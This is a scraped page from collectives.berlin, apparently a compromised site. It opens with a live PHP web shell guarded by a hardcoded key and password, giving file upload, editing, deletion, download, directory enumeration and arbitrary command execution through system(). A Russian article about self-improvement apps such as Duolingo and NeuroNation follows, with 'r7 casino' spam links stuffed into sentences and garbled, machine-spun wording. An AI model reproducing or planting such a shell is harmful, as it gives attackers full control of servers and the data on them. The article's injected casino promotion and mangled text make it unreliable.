if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '
'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΈ образования. – collectives.berlin

Your digital paradise.

collectives.berlin

ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΈ образования.

ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΈ образования.

ΠŸΠΎΡ‡Π΅ΠΌΡƒ прилоТСния оказались Π½Π΅ΠΎΡ‚ΡŠΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΉ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ

Π’ послСдниС Π³ΠΎΠ΄Ρ‹ ΠΏΠΎΡ€Ρ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΈΠ½Π½ΠΎΠ²Π°Ρ†ΠΈΠΈ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ трансформировали ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡŽ ΠΈ личностному росту. Π•Ρ‰Π΅ Π΄Π΅ΡΡΡ‚ΡŒ Π»Π΅Ρ‚ Ρ‚ΠΎΠΌΡƒ Π½Π°Π·Π°Π΄ саморазвитиС ΠΎΡ‚ΠΎΠΆΠ΄Π΅ΡΡ‚Π²Π»ΡΠ»ΠΎΡΡŒ с Π±ΡƒΠΌΠ°ΠΆΠ½Ρ‹ΠΌΠΈ ΠΊΠ½ΠΈΠ³Π°ΠΌΠΈ, лСкциями Π² унивСрситСтах ΠΈ ΠΆΠΈΠ²Ρ‹ΠΌΠΈ курсами. На сСгодняшний дСнь Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ·Π³ ΠΈΠ»ΠΈ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ языки. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΌ, ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΈ достиТимым Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ ΠΈΠ· ΠΊΠ°ΠΊΠΎΠΉ ΡƒΠ³ΠΎΠ΄Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΌΠΈΡ€Π° — Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ ΠΌΠ΅Ρ‚Ρ€ΠΎΠΏΠΎΠ΅Π·Π΄ΠΊΠ° ΠΈΠ»ΠΈ малСнький Π±Ρ€Π΅ΠΉΠΊ Π½Π° Ρ€Π°Π±ΠΎΡ‚Π΅.

На основании исслСдованию Data Insight, ΡƒΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ 60% Π³Ρ€Π°ΠΆΠ΄Π°Π½ России хотя Π±Ρ‹ Ρ€Π°Π· инсталлировали ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ прилоТСния. И это Π½Π΅ странно: ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ шанс ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ занятия с r7 casino Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ, сСмьСй ΠΈ Ρ…ΠΎΠ±Π±ΠΈ. Π“Π»Π°Π²Π½ΠΎΠ΅ — ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ приспособлСния срСди ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ количСства Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ².

Π’ΠΈΠΏΡ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для саморазвития

ΠŸΠ΅Ρ€Π΅Π΄ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ сСрвисам, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС прилоТСния для личностного роста ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²ΠΎΡ‡Π½ΠΎ ΠΊΠ»Π°ΡΡΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° нСсколько Π³Ρ€ΡƒΠΏΠΏ:

  • Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ языковых Π½Π°Π²Ρ‹ΠΊΠΎΠ² — ΠΎΡ‚ старомодных глоссариСв Π΄ΠΎ динамичСских Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΎΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ.
  • Π Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ ΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π½Π°Π²Ρ‹ΠΊΠΎΠ² — занятия памяти, внимания, ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ.
  • Онлайн ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΈ сСминары — ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ соврСмСнным профСссиям ΠΈΠ»ΠΈ способностям.
  • Π ΡƒΡ‚ΠΈΠ½Ρ‹ ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ — Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±Ρ‹Ρ‡Π°Π΅Π² ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.
  • Π§Ρ‚Π΅Π½ΠΈΠ΅ плюс ΡΠ»ΡƒΡˆΠ°Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ — элСктронныС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π° Ρ‚Π°ΠΊΠΆΠ΅ Π°ΡƒΠ΄ΠΈΠΎΠΊΠ½ΠΈΠ³ΠΈ.
  • Π‘ΠΎΠ·Π΅Ρ€Ρ†Π°Π½ΠΈΠ΅ ΠΈ ΠΎΡΠΎΠ·Π½Π°Π½Π½ΠΎΡΡ‚ΡŒ — Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ Π°Ρ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚Π°.

Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π² всякой ΠΈΠ· прСдставлСнных ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Π΅Π΅.

ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для изучСния иностранных языков

Duolingo: игровизация ΡƒΡ‡Π΅Π±Π½ΠΎΠ³ΠΎ процСсса

Duolingo — ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΡ‡Π΅Π½ΡŒ извСстных сСрвисов для обучСния Π·Π°Ρ€ΡƒΠ±Π΅ΠΆΠ½Ρ‹Ρ… языков Π² ΠΌΠΈΡ€Π΅. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ поставляСт занятия ΠΏΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ 30 языкам, Π² Ρ‚ΠΎΠΌ числС английский язык, испанский, французский ΠΈ Π΄Π°ΠΆΠ΅ японский язык. ΠšΠ»ΡŽΡ‡Π΅Π²Π°Ρ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ Duolingo — Π³Π΅ΠΉΠΌΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄: ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΡƒΡ€ΠΎΠΊ ΠΏΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π½Π° ΠΌΠΈΠ½ΠΈ-квСст с экспириСнсами, уровнями ΠΈ Π½Π°Π³Ρ€Π°Π΄Π°ΠΌΠΈ.

ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ стартуСт с Π»Π΅Π³ΠΊΠΈΡ… Π·Π°Π΄Π°Π½ΠΈΠΉ Π½Π° ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ лСксСм ΠΈ Ρ„Ρ€Π°Π·, Π° ΠΏΠΎΡ‚ΠΎΠΌ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ двигаСтся ΠΊ слоТным Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠ°ΠΌ Π½Π° Π°ΡƒΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΡƒ ΠΈ Π°Ρ€Ρ‚ΠΈΠΊΡƒΠ»ΡΡ†ΠΈΡŽ. Π­Ρ‚ΠΎΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ стимулируСт Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ систСматичСски: ΡƒΡ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (streak) оказываСтся ΠΎΠ±ΠΈΠ΄Π½ΠΎ!

ОсобСнно ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΡƒΡ€ΠΎΠΊΠΈ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ всСго ΠΏΡΡ‚ΡŒ-Π΄Π΅ΡΡΡ‚ΡŒ ΠΌΠΈΠ½ΡƒΡ‚. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΠΎΡƒΡ‚Ρ€Ρƒ Π·Π° Ρ‡Π°ΡˆΠΊΠΎΠΉ ΠΊΠΎΡ„Π΅ΠΉΠ½ΠΎΠ³ΠΎ Π½Π°ΠΏΠΈΡ‚ΠΊΠ° Π»ΠΈΠ±ΠΎ Π² Π²Π΅Ρ‡Π΅Ρ€Π½Π΅Π΅ врСмя ΠΏΠ΅Ρ€Π΅Π΄ сном. Для ΠΈΡΠΊΡƒΡˆΠ΅Π½Π½Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² доступны ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒΠ½Ρ‹Π΅ курсы (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π΄Π΅Π»ΠΎΠ²ΠΎΠΉ английский).

Lingualeo: ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄

Π›ΠΈΠ½Π³Π²Π°Π»Π΅ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π° ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… английский язык. Π’ Π±Π°Π·Π΅ систСмы Π»Π΅ΠΆΠΈΡ‚ идСя пСрсонализации: ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ†Π΅Π½ΠΈΠ²Π°Π΅Ρ‚ ваши успСхи ΠΈ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ упраТнСния ΠΏΠΎΠ΄ ваш ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ.

ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ Lingualeo:

  • Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ упраТнСния Π½Π° ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Π΅Π½ΠΈΠ΅, ΡΠ»ΡƒΡˆΠ°Π½ΠΈΠ΅ ΠΈ лСксичСский состав.
  • ВСличСствСнная собраниС ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠΉ всСвозмоТной трудности: начиная с новостных статСй Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ классики.
  • Π‘ΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π½Π΅Π·Π½Π°ΠΊΠΎΠΌΡ‹Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ Π² свой ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ.
  • Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ для запоминания Π½ΠΎΠ²Ρ‹Ρ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„Π»Π΅Ρˆ-ΠΊΠ°Ρ€Ρ‚.

Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ интСрСса заслуТиваСт гСймплСйная ΠΌΠ΅Ρ…Π°Π½ΠΈΠΊΠ°: Π·Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ квСстов Π²Ρ‹ ΠΏΠΈΡ‚Π°Π΅Ρ‚Π΅ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ львСнка Π›Π΅ΠΎ! Π”Π°Π½Π½ΠΎΠ΅ добавляСт аспСкт Π·Π°Π±ΠΎΡ‚Ρ‹ ΠΈ заинтСрСсованности.

Tandem: Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅

НикакиС ΠΈΠ· ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π²Π½Ρ‹ истинного взаимодСйствия с носитСлями Ρ€Π΅Ρ‡ΠΈ. ИмСнно эту вопрос Ρ€Π΅ΡˆΠ°Π΅Ρ‚ Tandem — ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° для Ρ€Π΅Ρ‡Π΅Π²ΠΎΠ³ΠΎ ΠΎΠ±ΠΌΠ΅Π½Π°. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρ‚Π½Ρ‘Ρ€ΠΎΠ² для общСния со всСго ΠΌΠΈΡ€Π° ΠΏΠΎ Ρ…ΠΎΠ±Π±ΠΈ: Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠ°Ρ‚ вас Π² ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ французский Π² ΠΎΠ±ΠΌΠ΅Π½ Π½Π° Π²Π°ΡˆΡƒ ΠΏΠΎΠΌΠΎΡ‰ΡŒ с русским языком.

Π’ Tandem Π΅ΡΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Ρ‡Π°Ρ‚ с Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ голосовых сообщСний ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ²Ρ‹Π·ΠΎΠ²ΠΎΠ². А Ссли появятся слоТности Π² ΠΎΠ±Ρ‰Π΅Π½ΠΈΠΈ — встроСнный ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‡ΠΈΠΊ всСгда доступСн.

Π’Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΌΠΎΠ·Π³Π°: Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ запоминания ΠΈ сосрСдоточСнности

NeuroNation: ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ для ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚Π°

NeuroNation ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ 30 Π²ΠΈΠ΄ΠΎΠ² Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΎΠΊ для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ запоминания, Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, логичСского ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ ΠΈ быстроты Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ. Π’ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ, Ρ‚Π°ΠΊΠΈΠ΅ сСрвисы, ΠΊΠ°ΠΊ r7 casino, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ ΡŽΠ·Π΅Ρ€Π°ΠΌ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹Π΅ срСдства для ΡƒΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π½Π°Π²Ρ‹ΠΊΠΎΠ². ΠšΠ°ΠΆΠ΄Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ созданы Π² сотрудничСствС с нСйропсихологами ΠΈΠ· Π“Π΅Ρ€ΠΌΠ°Π½ΠΈΠΈ.

КаТдоС ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ адаптируСтся ΠΏΠΎΠ΄ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ участника: Ссли Π·Π°Π΄Π°Ρ‡Π° прСдставляСтся слишком простой ΠΈΠ»ΠΈ тяТёлой — аппликация автоматичСски мСняСт Π΅Ρ‘ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ слоТности. РСгулярныС занятия (ΠΏΠΎ 10–15 ΠΌΠΈΠ½ΡƒΡ‚ Π² дСнь) Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‚ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ возмоТности — это ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ исслСдования БСрлинского унивСрситСта ΠΈΠΌΠ΅Π½ΠΈ Π“ΡƒΠΌΠ±ΠΎΠ»ΡŒΠ΄Ρ‚Π°.

